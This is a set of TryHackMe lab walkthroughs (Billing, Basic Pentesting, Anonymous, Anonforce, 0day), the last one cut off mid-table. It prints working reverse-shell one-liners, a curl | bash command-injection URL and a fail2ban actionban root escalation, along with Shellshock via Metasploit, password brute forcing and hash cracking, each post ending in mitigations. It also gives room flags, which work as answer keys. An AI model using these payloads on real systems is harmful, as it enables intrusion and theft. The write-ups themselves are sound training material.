DEV Community: Farhan Hussain

Billing — TryHackMe

Farhan Hussain — Mon, 26 Oct 2026 23:03:17 +0000

Platform: TryHackMe · Difficulty: Medium · Category: VoIP / Command Injection / Privilege Escalation

Introduction

Today's target is Billing, a box built around MagnusBilling — an open-source VoIP billing platform — sitting on top of the Asterisk PBX service it was written to invoice for. It's a good room for anyone who's only ever attacked generic CMS boxes, because the attack surface here is domain-specific: payment gateway integrations, call manager ports, a billing panel talking to a telephony backend. The foothold is a classic unauthenticated command injection in a third-party payment module — the kind of bug that shows up constantly in real deployments, because payment gateway plugins are bolted onto core applications by separate teams and reviewed far less rigorously. The escalation is the more memorable half: fail2ban, a daemon whose entire job is to detect and block malicious behaviour, becomes the exact mechanism that hands over root, once you realise its client binary can redefine what a "block" actually does.

If you're following along, you should already be comfortable with chained shell operators (;, |, &&) in injection contexts, and it helps to know roughly how fail2ban's jails, filters, and actions relate to each other before the escalation section — I'll explain it as I go, but the short version is: jails watch logs, and actions decide what happens when a jail decides to ban someone.

Recon

The port scan lays out the whole theme of the box before you've even loaded the webpage:

rustscan -a 10.49.178.53 -r 1-65535 --ulimit 5000 -b 500 -t 2000 -- -Pn -sV -sC -T4

Port	Service	Version
22/tcp	SSH	OpenSSH 9.2p1 Debian
80/tcp	HTTP	Apache 2.4.62 — MagnusBilling
3306/tcp	MySQL	MariaDB 10.3.23 or earlier
5038/tcp	Asterisk	Asterisk Call Manager 2.10.6

A telecom-flavoured stack: MagnusBilling (the billing software) on top of Asterisk (the PBX it bills for), backed by MariaDB. Three unrelated-looking services that are actually one application.

Feroxbuster against the web root surfaces the entire MagnusBilling install structure — lib/, fpdf/, and a cluster of payment gateway directories: icepay/, mercadopago/, stripe/, anet/, PlacetoPay/. Nothing custom has been bolted on top; it's the stock application. That's actually useful information — it means the vulnerability, whatever it is, is either a known CVE in this MagnusBilling version or a flaw in one of those payment integrations. Payment gateway code is where I go first on boxes like this: it's maintained by whoever wrote the plugin, not the core MagnusBilling team, and it tends to carry more bugs because it's reviewed less.

Foothold

IcePay's integration file, icepay.php, accepts a democ parameter. Instead of validating it, the application passes it straight into a shell execution context — most likely building a command string for some kind of payment verification or demo-mode check. That means anything after a shell metacharacter in that parameter rides along as a separate command.

echo 'bash -i >& /dev/tcp/192.168.134.217/4444 0>&1' > shell.sh

http://10.49.178.53/mbilling/lib/icepay/icepay.php?democ=/dev/null;curl%20http://192.168.134.217/shell.sh%20|%20bash;id

The /dev/null up front is there to look like a plausible, harmless value for whatever democ is supposed to be — the semicolon after it is what actually matters, chaining a curl | bash fetch-and-execute onto an otherwise unauthenticated request. Catch it on a listener:

nc -nvlp 4444

connect to [192.168.134.217] from (UNKNOWN) [10.49.178.53] 53710
asterisk@ip-10-49-178-53:/var/www/html/mbilling/lib/icepay$

Shell as asterisk — the system account the Asterisk/MagnusBilling services run under. No authentication, no exploit development, just an unsanitised parameter doing exactly what it was given.

Shell / Access

cd /home/magnus
cat user.txt
# THM{4a6831d5f124b25eefb1e92e0f0da4ca}

Escalation

sudo -l is always the first thing I run after landing anywhere, and here it returns something worth pausing on:

User asterisk may run the following commands on ip-10-49-178-53:
    (ALL) NOPASSWD: /usr/bin/fail2ban-client

Fail2ban is a log-monitoring service that watches for malicious patterns — repeated failed SSH logins, for instance — and responds by banning the offending IP, typically by inserting a firewall rule. Its behaviour is split across two concepts: jails, which define what log files to watch and for which patterns, and actions, which define what actually runs when a ban fires. That actionban setting is the part that matters here — it's literally a shell command, configurable per jail.

My first instinct was the boring one: go check whether the action config files under /etc/fail2ban/action.d/*.conf were writable, so I could just edit in a malicious command directly. They weren't — root-owned, standard permissions, no path in through the filesystem. For a minute that made the sudo rule look like a dead end.

So I actually read the fail2ban-client man page instead of assuming I already understood what the tool could do. It turns out you don't need to touch any file on disk — fail2ban-client can redefine a jail's action live, entirely from the command line:

sudo /usr/bin/fail2ban-client status

Jail list: ast-cli-attck, ast-hgc-200, asterisk-iptables, asterisk-manager,
           ip-blacklist, mbilling_ddos, mbilling_login, sshd

sudo /usr/bin/fail2ban-client set sshd action iptables-multiport actionban \
  "/bin/bash -c 'curl http://192.168.134.217:4443/shell.sh | bash'"

That command doesn't execute anything by itself — it just rewrites what will run the next time the sshd jail decides to ban someone. To make that happen on demand rather than waiting for a real failed-login storm, you can just tell fail2ban to ban an address yourself:

sudo /usr/bin/fail2ban-client set sshd banip 127.0.0.1

Banning loopback is enough to satisfy the ban condition, which fires the actionban command I'd just set — as root, because fail2ban itself runs with root privileges to manage firewall rules. A tool whose entire purpose is blocking malicious activity just executed my payload with full system privileges.

nc -nvlp 4442

connect to [192.168.134.217] from (UNKNOWN) [10.49.178.53] 34872
root@ip-10-49-178-53:/# cat /root/root.txt
THM{33ad5b530e71a172648f424ec23fae60}

Exploitation — The Full Chain

Unauthenticated command injection in icepay.php's democ parameter → curl | bash payload → shell as asterisk
sudo fail2ban-client with NOPASSWD → redefined the sshd jail's actionban to a reverse shell payload
fail2ban-client set sshd banip 127.0.0.1 → triggered the ban → action ran as root → root shell

Rabbit Holes

Direct config file editing. Before finding the live reconfiguration path, I spent a few minutes checking whether /etc/fail2ban/action.d/*.conf was writable by asterisk. It wasn't, and in hindsight that was never going to be the intended route anyway — fail2ban-client set doesn't require persistence on disk at all, which makes it a cleaner escalation path than file editing would have been even if the files had been writable.

Payload iteration through actionban. I tried a few different commands before settling on the reverse shell: first an attempt to copy root.txt to a world-readable location, then copying and SUID-stamping /bin/bash. Worth remembering — each new actionban definition overwrites the previous one, so only the most recently set command fires on the next trigger. The SUID bash copy probably would have worked too; the reverse shell just happened to be the one I verified first.

Listener confusion. One nc -nvlp 4443 session caught a raw GET /shell.sh HTTP/1.1 request instead of a shell — momentarily alarming, until I realised that was just curl fetching the payload file as expected, not a failure. I'd conflated the listener serving the payload with the listener meant to catch the resulting connection. Running two separate listeners — one to serve, one to catch — cleared it up immediately.

Flags

Flag	Value	Location
User	`THM{4a6831d5f124b25eefb1e92e0f0da4ca}`	`/home/magnus/user.txt`
Root	`THM{33ad5b530e71a172648f424ec23fae60}`	`/root/root.txt`

Mitigations

Vulnerability	Severity	Mitigation
Unauthenticated command injection in `icepay.php`	Critical	Update MagnusBilling to a patched version; never pass unsanitised request parameters into shell execution contexts; allowlist payment gateway callback parameters
`sudo fail2ban-client` with NOPASSWD	Critical	Never grant unrestricted sudo to `fail2ban-client` — its `set` subcommand allows arbitrary command execution via `actionban`; scope any required automation to read-only subcommands
Service account granted broad sudo rights	High	Service accounts should carry the minimum sudo footprint required; question why a web-facing account needs any access to security tooling at all

Key Takeaway

Granting sudo access to a tool's client binary isn't the same as granting access to only its "safe" operations. fail2ban-client's set subcommand can redefine the exact command that runs on a security event, turning a defensive daemon into an arbitrary root code execution primitive. Before assuming a "monitoring" or "status" tool is safe to hand over via sudo, audit its full subcommand surface — the same question is worth asking of systemctl, docker, or any other client talking to a privileged daemon.

Room: TryHackMe — Billing

Basic Pentesting — TryHackMe

Farhan Hussain — Mon, 26 Oct 2026 22:54:36 +0000

Platform: TryHackMe · Difficulty: Easy · Category: SMB Enumeration / Credential Brute Force / SSH Key Cracking

Note: This one stops short of root. The engagement got as far as a second user account and a password file that's almost certainly the next pivot — but the final escalation and root flag weren't captured in the source notes this article is drawn from. Writing it up honestly rather than inventing an ending.

Introduction

Basic Pentesting lives up to its name by covering the fundamentals in one tidy package: SMB enumeration, a web directory leak, password brute forcing, and SSH key cracking. The developer notes left sitting in a public /development/ folder are almost too on-the-nose — one developer explicitly bragging about cracking a colleague's password while reminding them to follow the password policy they themselves are violating. It's the kind of irony that makes for a memorable teaching box: the security audit that should have fixed the problem became the paper trail documenting it.

Recon

rustscan -a 10.49.180.112 -r 1-65535 --ulimit 5000 -- -Pn -sC -sV

Port	Service	Version
22/tcp	SSH	OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80/tcp	HTTP	Apache httpd 2.4.41 (Ubuntu)
139/tcp, 445/tcp	SMB	Samba smbd 4
8009/tcp	AJP	Apache Jserv Protocol 1.3
8080/tcp	HTTP	Apache Tomcat 9.0.7

A wide attack surface for an "easy" box — SMB plus two separate web services beyond the main HTTP port. Tomcat 9.0.7 and the AJP protocol both got flagged mentally as backup options if the primary path stalled. It didn't, so neither was needed in the end.

feroxbuster -u http://10.49.180.112/ \
  -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
  -x php,xt,html

301  /development
200  /development/dev.txt
200  /development/j.txt

The homepage itself just shows "Undergoing maintenance" — the real content lives in /development/. Combining dev.txt and j.txt into the actual developer changelog:

2018-04-23: I've been messing with that struts stuff... using version 2.5.12 -K
2018-04-22: SMB has been configured. -K
2018-04-21: I got Apache set up. Will put in our content later. -J

For J:
I've been auditing the contents of /etc/shadow to make sure we don't have
any weak credentials, and I was able to crack your hash really easily.
You know our password policy, so please follow it? Change that password ASAP.
-K

Three things worth noting here: SMB is confirmed configured, a Struts installation gets mentioned (potentially CVE-relevant on other boxes, though it didn't end up mattering here), and most importantly — K is directly telling J that their password is weak and crackable. That's effectively a hint that brute force is going to work on at least one account.

Foothold

enum4linux 10.49.180.112

Key findings:

[+] Server allows sessions using username '', password ''   # null session
[+] Got OS info: Samba Server 4.15.13-Ubuntu

Users found via RID cycling:
  Unix User\kay     (Local User)
  Unix User\jan     (Local User)
  Unix User\ubuntu  (Local User)

Three usernames out of a null SMB session via RID cycling. kay and jan map directly onto the K and J initials from the developer notes — which turns the whole brute-force targeting decision into a non-decision.

The dev note specifically said J's password was weak, so that's where I started:

hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.49.180.112

[22][ssh] host: 10.49.180.112   login: jan   password: armando

Cracked within minutes, exactly as the developer note predicted it would be.

Username	Password	Where Found
`jan`	`armando`	Hydra + rockyou.txt

Shell / Access

ssh jan@10.49.180.112
# Password: armando

jan@ip-10-49-180-112:~$

jan's own home directory is sparse, just a permission-denied .lesshst file. The real value turns out to be in checking what other home directories are accessible:

ls /home
# jan  kay  ubuntu

ls /home/kay/
# pass.bak    (permission denied to read directly)

cd /home/kay/.ssh
ls
# authorized_keys  id_rsa  id_rsa.pub

kay's SSH key pair is sitting in a directory jan can traverse into and read — a permissions misconfiguration in its own right. id_rsa is encrypted with a passphrase (Proc-Type: 4,ENCRYPTED).

ssh2john id_rsa > key.hash
john --wordlist=/usr/share/wordlists/rockyou.txt key.hash

beeswax   (id_rsa)

Passphrase: beeswax, cracked instantly. SSH login as kay using the now-usable key:

ssh kay@10.49.180.112 -i id_rsa
# Enter passphrase: beeswax

kay@ip-10-49-180-112:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$

The irony lands fully right here — pass.bak contains a password that's explicitly named after the password policy it follows, in stark contrast to jan's weak armando. This is almost certainly a credential meant for further escalation, consistent with the developer note's whole emphasis on policy compliance. This is where the notes I'm working from stop — the engagement was left here, with pass.bak in hand and the final privilege escalation step not yet carried out.

Exploitation — The Chain So Far

Feroxbuster → /development/ developer notes hinting at weak credentials for jan
enum4linux → SMB null session → usernames kay, jan, ubuntu
Hydra → jan:armando cracked from rockyou.txt
SSH as jan → traversed into kay's readable .ssh/ directory
ssh2john + John → SSH key passphrase beeswax cracked
SSH as kay (via decrypted key) → pass.bak → strong credential, next step unverified

Rabbit Holes

Apache Tomcat / AJP on port 8080/8009. Both Tomcat 9.0.7 and the AJP protocol got flagged in the initial scan as potential attack surfaces — Tomcat manager default credentials and AJP file-read vulnerabilities like Ghostcat (CVE-2020-1938) were on the list of things to try. Neither got investigated further once the SMB/Hydra path proved faster. The developer note pointing directly at weak SSH credentials made that the obvious priority, and it paid off immediately.

The Struts mention in the dev notes. The changelog mentions Apache Struts 2.5.12 being tested as a REST example app. Struts has a notorious history of RCE vulnerabilities — CVE-2017-5638, the one behind the Equifax breach, among others. No Struts application actually turned up running on any scanned port during this engagement. Might be a red herring left over from an earlier box revision, or it's pointing at a path that just wasn't discovered yet.

Flags

Flag retrieval wasn't completed in the notes this is drawn from — access was established up through user kay and the pass.bak credential discovery. Root escalation and the final flag capture remain outstanding.

Flag	Value	Location
User	(not captured)	Likely `/home/jan/` or `/home/kay/`
Root	(not captured)	`/root/` — pending use of `pass.bak` credential

Mitigations

Vulnerability	Severity	Mitigation
Developer notes exposing internal audit commentary	Medium	Never store internal communications or changelogs in a publicly accessible web directory
SMB null session enumeration enabled	High	Disable anonymous/null SMB sessions (`restrict anonymous = 2` in `smb.conf`); restrict RID cycling by disabling guest access
Weak SSH password (`armando`) crackable via rockyou.txt	Critical	Enforce strong password policy uniformly across all accounts — the irony of this box is that the policy existed but wasn't enforced
Cross-user directory traversal into another user's `.ssh/`	Critical	Set `.ssh/` directory permissions to `700` and ensure home directories are not group/world-readable (`750` or stricter on `/home/*`)
Weak SSH key passphrase (`beeswax`)	High	Use a long, randomly generated passphrase for any private key

Key Takeaway

A security audit that identifies a weak password but doesn't enforce remediation, combined with home directory permissions that let other local users traverse into .ssh/, creates a domino effect — one weak credential becomes a pivot straight into a second account's private key. Defence in depth means actually fixing the permissions structure, not just telling someone to change their password and hoping they comply.

Room: TryHackMe — Basic Pentesting

Anonymous — TryHackMe

Farhan Hussain — Mon, 26 Oct 2026 22:54:35 +0000

Platform: TryHackMe · Difficulty: Easy · Category: FTP Write Access / Scheduled Task Hijack / SUID Abuse

Introduction

Anonymous is a box that puts its own postmortem in writing before the engagement even starts. Sitting right there in the FTP share is to_do.txt — the sysadmin's own unaddressed risk assessment, admitting in plain English that anonymous FTP login is dangerous and needs disabling. It never got disabled. Pair that with a world-writable scripts/ directory holding a script that runs on a schedule, and you've got a textbook "writable file in a privileged execution chain" vulnerability — similar in spirit to other boxes with cron-driven footholds, except here the scheduling mechanism doesn't even need to be inferred, since the log file is visibly growing in real time between FTP checks.

Recon

rustscan -a 10.48.171.146 -r 1-65535 --ulimit 5000 -b 500 -t 2000 -- -Pn -sV -sC -T4

Port	Service	Version
21/tcp	FTP	vsftpd 3.0.3 — anonymous allowed; `scripts/` flagged writable by Nmap
22/tcp	SSH	OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
139/tcp, 445/tcp	SMB	Samba smbd 4.7.6-Ubuntu

Nmap's ftp-anon script doesn't just confirm anonymous access, it specifically flags the scripts subdirectory as [NSE: writeable]. That one detail defines the entire attack path before a single manual command gets run.

The FTP banner has a nice touch too — "NamelessOne's FTP Server!" — directly naming the box's eventual user account before any enumeration even starts.

ftp 10.48.171.146
# Name: anonymous
ftp> cd scripts
ftp> ls

-rwxr-xrwx  clean.sh
-rw-rw-r--  removed_files.log
-rw-r--r--  to_do.txt

Downloading all three:

ftp> get clean.sh
ftp> get removed_files.log
ftp> get to_do.txt

clean.sh contents:

#!/bin/bash
tmp_files=0
echo $tmp_files
if [ $tmp_files=0 ]
then
    echo "Running cleanup script: nothing to delete" >> /var/ftp/scripts/removed_files.log
else
    for LINE in $tmp_files; do
        rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.log
    done
fi

A cleanup script meant to delete temp files and log the activity — currently a no-op since tmp_files is hardcoded to 0. The interesting part isn't the script's logic, it's that removed_files.log already has over twenty identical "nothing to delete" entries. That's direct proof this script runs automatically and repeatedly, almost certainly via cron.

to_do.txt contents:

I really need to disable the anonymous login...it's really not safe

The sysadmin's own words, confirming the exact vulnerability about to be exploited.

Foothold

clean.sh is owned by a local user (uid 1000) but has world-write permission (-rwxr-xrwx), and it's confirmed to execute repeatedly via the growing log. Since the script lives in an anonymously-writable FTP directory, overwriting its contents with arbitrary shell or Python code means that code runs under the script owner's account the next time the scheduler fires it. No exploit needed beyond an FTP PUT.

Replacing the script body with a Python reverse shell one-liner:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.134.217",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Re-uploading the modified script via FTP, setting up the listener, and waiting for the next scheduled run:

nc -nvlp 4444

connect to [192.168.134.217] from (UNKNOWN) [10.48.171.146] 36554

Stabilising:

python -c 'import pty; pty.spawn("/bin/bash")'

namelessone@anonymous:~$ cat user.txt
90d6f992585815ff991e68748c414740

Shell / Access

Landed directly as namelessone — the named user the FTP banner had all but introduced by name. No intermediate www-data hop needed, since the script executes under this user's own account via cron.

Escalation

find / -perm -u=s -type f 2>/dev/null

/usr/bin/env

Among the standard system SUID binaries, /usr/bin/env stands out immediately. env is designed to run a program in a modified environment, but it executes that program directly, inheriting whatever privileges the env binary itself has. With the SUID bit set, env runs with the file owner's privileges — root — and anything it launches inherits that same elevated level.

/usr/bin/env /bin/sh -p

# id
uid=1000(namelessone) gid=1000(namelessone) euid=0(root) groups=...,27(sudo),...
# cat /root/root.txt
4d930091c31a622a7ed10f27999af363

One command to root.

Exploitation — The Full Chain

Anonymous FTP with a writable scripts/ directory and a script confirmed to run on a schedule
Overwrote clean.sh with a Python reverse shell payload via FTP
Waited for the scheduled execution → shell as namelessone → user flag
SUID env → env /bin/sh -p → root shell → root flag

Rabbit Holes

SMB enumeration for the quiz, not the exploit. The room's accompanying questions required identifying the SMB share name, which turned out to be a step entirely separate from the actual exploitation chain. A null-session smbclient -L against the host:

smbclient -L //10.48.171.146/ -N

Sharename       Type      Comment
---------       ----      -------
print$          Disk      Printer Drivers
pics            Disk      My SMB Share Directory for Pics
IPC$            IPC       IPC Service

The pics share matches a pics directory later seen in namelessone's home directory, confirming SMB and the local filesystem share the same content — though this connection wasn't load-bearing for the actual privilege escalation path at all.

Flags

Flag	Value	Location
User	`90d6f992585815ff991e68748c414740`	`/home/namelessone/user.txt`
Root	`4d930091c31a622a7ed10f27999af363`	`/root/root.txt`

Mitigations

Vulnerability	Severity	Mitigation
Anonymous FTP login enabled	Critical	Disable anonymous FTP entirely — the box's own `to_do.txt` correctly identifies this as the root issue
World-writable script in a scheduled execution chain	Critical	Scripts executed by cron or any scheduler must be owned by root (or the minimum necessary user) with no group/world write access (`chmod 700`)
SUID bit set on `/usr/bin/env`	Critical	Remove the SUID bit from `env` — it has no legitimate administrative need for it; cross-reference all SUID binaries against GTFOBins
SMB shares accessible via null session	Medium	Restrict guest/anonymous SMB access; require authentication for all shares

Key Takeaway

A growing log file with repeated identical entries is direct evidence of a scheduled task, and a writable script anywhere in that execution chain is a privilege escalation path, regardless of whether sudo -l or SUID enumeration turns up anything interesting on its own. Always check what owns and triggers a script before assuming a quiet sudo -l means there's no path forward.

Room: TryHackMe — Anonymous

Anonforce — TryHackMe

Farhan Hussain — Mon, 26 Oct 2026 22:48:35 +0000

Platform: TryHackMe · Difficulty: Easy · Category: Anonymous FTP / PGP Decryption / Hash Cracking

Introduction

Anonforce skips the entire "web application with subtle vulnerabilities" phase and goes straight to "here is the entire filesystem, help yourself." Anonymous FTP doesn't just expose a note or a key this time — it exposes everything: /etc, /home, /root, the whole hierarchy, readable and navigable like any other directory. The only thing standing between anonymous and root credentials is a GPG passphrase that John cracks in seconds. This is less a penetration test and more a guided tour. The door is labelled FTP and it was left wide open.

Recon

Full-range sweep with RustScan, Nmap for service and version fingerprinting:

rustscan -a 10.49.164.9 -r 1-65535 --ulimit 5000 -- -Pn -sC -sV

Port	Service	Version
21/tcp	FTP	vsftpd 3.0.3 — anonymous login allowed
22/tcp	SSH	OpenSSH 7.2p2 Ubuntu 4ubuntu2.8

No HTTP port, confirmed by a Feroxbuster attempt that immediately failed to connect. This is a two-service box and the entire story begins and ends with FTP.

Nmap's ftp-anon script does something unusual here — it doesn't just flag anonymous login as allowed, it lists out the root directory of the FTP share:

| drwxr-xr-x   85 0        0            4096 Aug 13  2019 etc
| drwxr-xr-x    3 0        0            4096 Aug 11  2019 home
| drwxrwxrwx    2 1000     1000         4096 Aug 11  2019 notread  [NSE: writeable]
| drwx------    3 0        0            4096 Aug 11  2019 root

That's not a subdirectory of FTP storage — that's /bin, /boot, /etc, /home, the server's actual root filesystem, mounted as the FTP root. The notread directory stands out immediately: world-readable and world-writable, owned by uid 1000. root is listed too, though drwx------ suggests ftp probably can't actually read into it. One thing at a time.

Foothold

Connecting with anonymous login:

ftp 10.49.164.9
# Name: anonymous
# Password: (blank)
# 230 Login successful.

The FTP root is the server's /:

ftp> ls
# bin  boot  dev  etc  home  lib  notread  opt  root  tmp  usr  var ...

This is about as severe as FTP misconfiguration gets. When the service is chrooted to the server's actual filesystem root instead of a dedicated, restricted directory, every file the FTP service user can read becomes accessible to any anonymous visitor — the difference between leaving a note on the doorstep and leaving the front door open with a map to the safe inside.

Navigating straight to melodias's home directory:

ftp> cd /home/melodias
ftp> ls
# -rw-rw-r--    1 1000     1000           33 Aug 11  2019 user.txt
ftp> get user.txt

cat user.txt

606083fd33beb1284fc51f411a706af8

User flag collected without touching SSH at all. No credentials, no shell, no escalation required — just FTP navigation.

Then the directory Nmap had already flagged:

ftp> cd /notread
ftp> ls
# -rwxrwxrwx    1 1000     1000          524 Aug 11  2019 backup.pgp
# -rwxrwxrwx    1 1000     1000         3762 Aug 11  2019 private.asc
ftp> mget backup.pgp private.asc

Two files. backup.pgp is a PGP-encrypted archive; private.asc is an ASCII-armoured PGP private key. The pairing is obvious — the private key decrypts the backup. The slightly surreal part is both are sitting in the same directory, world-readable, permissions rwxrwxrwx. Whoever set this up was not thinking much about defence in depth.

PGP uses an asymmetric key pair — public to encrypt, private to decrypt — and the private key itself is protected by a passphrase. Even with the key file in hand, you still need that passphrase. gpg2john extracts the passphrase hash from the key file in a format John the Ripper understands:

gpg --import private.asc
gpg2john private.asc > hash.txt

John silently returned nothing on the first run — the hash was already sitting in the potfile from a prior session (the same gotcha I'd already hit once on Mustacchio). Checking the potfile directly:

john hash.txt --show

anonforce:xbox360:::anonforce <melodias@anonforce.nsa>::private.asc

1 password hash cracked, 0 left

PGP passphrase: xbox360. The key identity anonforce <melodias@anonforce.nsa> is a nice bit of box flavour — the .nsa domain is doing a lot of thematic work.

Decrypting the backup with the now-usable key:

gpg --decrypt backup.pgp

gpg: encrypted with elg512 key, ID AA6268D1E6612967
gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences

# decrypted output (relevant entries)
root:$6$07nYFaYf$F4VMaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bsOIBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0:18120:0:99999:7:::
melodias:$1$xDhc6S6G$IQHUW5ZtMkBQ5pUMjEQtL1:18120:0:99999:7:::

backup.pgp turns out to be a backup of /etc/shadow, now fully decrypted. Root's hash format is $6$ — sha512crypt. The CAST5 warning is harmless, just a cipher-preference mismatch advisory between the key and the algorithm actually used on the file.

Shell / Access

$6$ means sha512crypt, which is Hashcat mode 1800 — a slow, properly iterated hash, 5000 rounds by default. Hashcat's own estimate was 7+ hours at ~514 H/s on CPU, but the password showed up in rockyou.txt early enough to crack in 12 seconds flat.

echo '$6$07nYFaYf$F4VMaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bsOIBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0' > root_hash.txt
hashcat -m 1800 -a 0 root_hash.txt /usr/share/wordlists/rockyou.txt

$6$07nYFaYf$...:hikari

Status: Cracked
Progress: 6720/14344385 (0.05%)
Time: 12 seconds

Root password: hikari. Only 6720 candidates into the wordlist — for a box whose entire premise is "here's root's shadow hash," that's an appropriately swift ending.

ssh root@10.49.164.9
# Password: hikari

root@ubuntu:~# cat root.txt
f706456440c7af4187810c31c6cebdce

Exploitation — The Full Chain

Anonymous FTP with filesystem root exposed → navigated directly to /home/melodias/user.txt → user flag
/notread/ contained backup.pgp (encrypted shadow) + private.asc (PGP private key)
gpg2john + John cracked PGP passphrase → xbox360
gpg --decrypt backup.pgp → plaintext /etc/shadow backup with root's sha512crypt hash
Hashcat mode 1800 cracked root hash → hikari
SSH as root → root flag

Rabbit Holes

John the Ripper going silent. john --wordlist=rockyou.txt hash.txt returned "No password hashes left to crack" on both attempts, which for about thirty seconds reads like failure. It wasn't — the hash had already been cracked and was sitting in John's potfile from a prior run (or the key had been imported before). john hash.txt --show gave the answer immediately. Same gotcha as Mustacchio: John's silence means "check --show," never "uncrackable."

melodias's hash ( $1$ ). The decrypted shadow backup also contains melodias's hash, $1$ — MD5crypt, Hashcat mode 500, weaker than root's $6$ and theoretically crackable too. There was no need to bother: the root path was already open, and SSH as root bypasses any reason to touch the user account. Noted for completeness and left alone.

Flags

Flag	Value	Location
User	`606083fd33beb1284fc51f411a706af8`	`/home/melodias/user.txt` (read directly via FTP)
Root	`f706456440c7af4187810c31c6cebdce`	`/root/root.txt`

Mitigations

Vulnerability	Severity	Mitigation
Anonymous FTP with filesystem root as FTP root	Critical	Never configure FTP with `/` as the chroot; use a dedicated, isolated FTP directory with only intended files; disable anonymous access entirely if not required
Sensitive PGP-encrypted backup exposed in world-readable directory	Critical	Store backups outside the FTP tree; apply strict permissions (`700` or `600`); never co-locate a private key with the data it protects
Weak PGP key passphrase (`xbox360`) in rockyou.txt	High	Use a long, randomly generated passphrase for any key protecting sensitive data
Root's shadow hash in an accessible backup	Critical	Never back up `/etc/shadow` to an FTP-accessible location; restrict shadow file access to root only and audit backup procedures regularly
Weak root password (`hikari`) cracked in 12 seconds	Critical	Use a long, randomly generated root password; consider disabling direct root SSH login (`PermitRootLogin no`) and requiring `sudo` from a non-root account

Key Takeaway

Anonymous FTP is almost never appropriate for production systems, but it's especially catastrophic when the FTP root is the server's filesystem root. That combination turns an unauthenticated network service into a complete read-access backdoor to every world-readable file on the machine. Always scope FTP shares to the minimum necessary directory — never /.

Room: TryHackMe — Anonforce

0day — TryHackMe

Farhan Hussain — Mon, 26 Oct 2026 22:48:34 +0000

Platform: TryHackMe · Difficulty: Medium · Category: Shellshock / CGI Injection / Kernel Privilege Escalation

Introduction

0day is a nostalgic little box, and it earns the nostalgia honestly — an antique Apache version running on an equally antique Ubuntu kernel, wearing both vulnerabilities like badges of honour. You get a suspiciously minimal homepage, a /backup/ directory that really shouldn't be reachable from the internet, and a CGI endpoint that has clearly never heard of the Bash security patches from 2014. It's the kind of target that makes you feel like a time traveler, except the time you're traveling to is a sysadmin's worst nightmare.

Recon

RustScan for speed, Nmap for the details:

rustscan -a 10.49.181.37 -r 1-65535 --ulimit 5000 -- -Pn -sC -sV

Port	Service	Version
22/tcp	SSH	OpenSSH 6.6.1p1 Ubuntu
80/tcp	HTTP	Apache httpd 2.4.7 (Ubuntu)

Two ports, clean and quiet — exactly the kind of attack surface that makes you look harder at what's actually there. Apache 2.4.7 is ancient, and the HTTP title comes back as 0day, same as the box name. Nothing interesting out of the SSH host keys, so the web server is where the story starts.

The homepage itself is minimal, barely more than a landing page with a profile image. Time to look behind the curtain:

feroxbuster -u http://10.49.181.37/ \
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x php,txt,html

# output (relevant hits only)
301  http://10.49.181.37/cgi-bin
301  http://10.49.181.37/uploads
301  http://10.49.181.37/admin
301  http://10.49.181.37/backup
200  http://10.49.181.37/robots.txt
200  http://10.49.181.37/backup/index.html   <-- ^^^ this is the important bit

/uploads and /admin both came back blank — dead ends. /backup/ had actual content: a full PEM-encoded RSA private key, passphrase-protected.

# /backup/index.html contents
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,82823EE792E75948EE2DE731AF1A0547
...
-----END RSA PRIVATE KEY-----

(truncated — full key saved locally as id_rsa)

That felt like the obvious thread to pull, so I pulled it. More on where that went in a minute.

While the key was being processed, Nikto ran in parallel:

nikto -h 10.49.181.37 -C all

# output (relevant findings)
+ Apache/2.4.7 appears to be outdated
+ /backup/: This might be interesting.
+ /secret/: This might be interesting.        # ^^^ worth noting for later
+ /cgi-bin/: present

A /cgi-bin/ directory sitting on outdated Apache with Bash on Ubuntu 14.04 underneath it is a flashing neon sign pointing at one specific vulnerability: Shellshock (CVE-2014-6271).

Foothold

Shellshock is a critical GNU Bash vulnerability from 2014. Bash allows function definitions to be passed through environment variables, and the bug is that it also executes anything appended after the function definition — commands it has no business running at all. CGI scripts are a particularly dangerous target because the web server drops HTTP headers straight into environment variables before executing the script, so a header like User-Agent: () { :;}; /bin/bash -i gets you remote code execution for free.

The target exposes /cgi-bin/test.cgi, found during the Feroxbuster run — that's the trigger point. Loading the Metasploit module for it:

msfconsole

msf > use exploit/multi/http/apache_mod_cgi_bash_env_exec
msf exploit(...) > set RHOST 10.49.181.37
msf exploit(...) > set LHOST 192.168.133.233
msf exploit(...) > set TARGETURI /cgi-bin/test.cgi
msf exploit(...) > exploit

# output
[*] Started reverse TCP handler on 192.168.133.233:4444
[*] Command Stager progress - 100.00% done (1092/1092 bytes)
[*] Sending stage (1062760 bytes) to 10.49.181.37
[*] Meterpreter session 1 opened (192.168.133.233:4444 -> 10.49.181.37:41010)
# ^^^ shell landed

Shell / Access

Upgrading from Meterpreter to a proper interactive bash shell:

meterpreter > shell

python -c 'import pty; pty.spawn("/bin/bash")'

# output
uid=33(www-data) gid=33(www-data) groups=33(www-data)

We're in as www-data — the Apache service account. Limited, but enough to grab the user flag and start hunting for an escalation path.

cat /home/ryan/user.txt

THM{Sh3llSh0ck_r0ckz}

Escalation

As www-data our permissions are basically nothing, so the goal becomes finding a flaw that gets us root — and on a box running a kernel this old, that flaw is very likely to live in the kernel itself.

Serving LinPEAS from the attacking box and piping it straight into sh, no file write needed:

curl http://192.168.133.233:80/linpeas.sh | sh

LinPEAS came back with a long list of CVEs matching the kernel version (3.13.x). The standout candidates:

CVE	Name	Rank	Notes
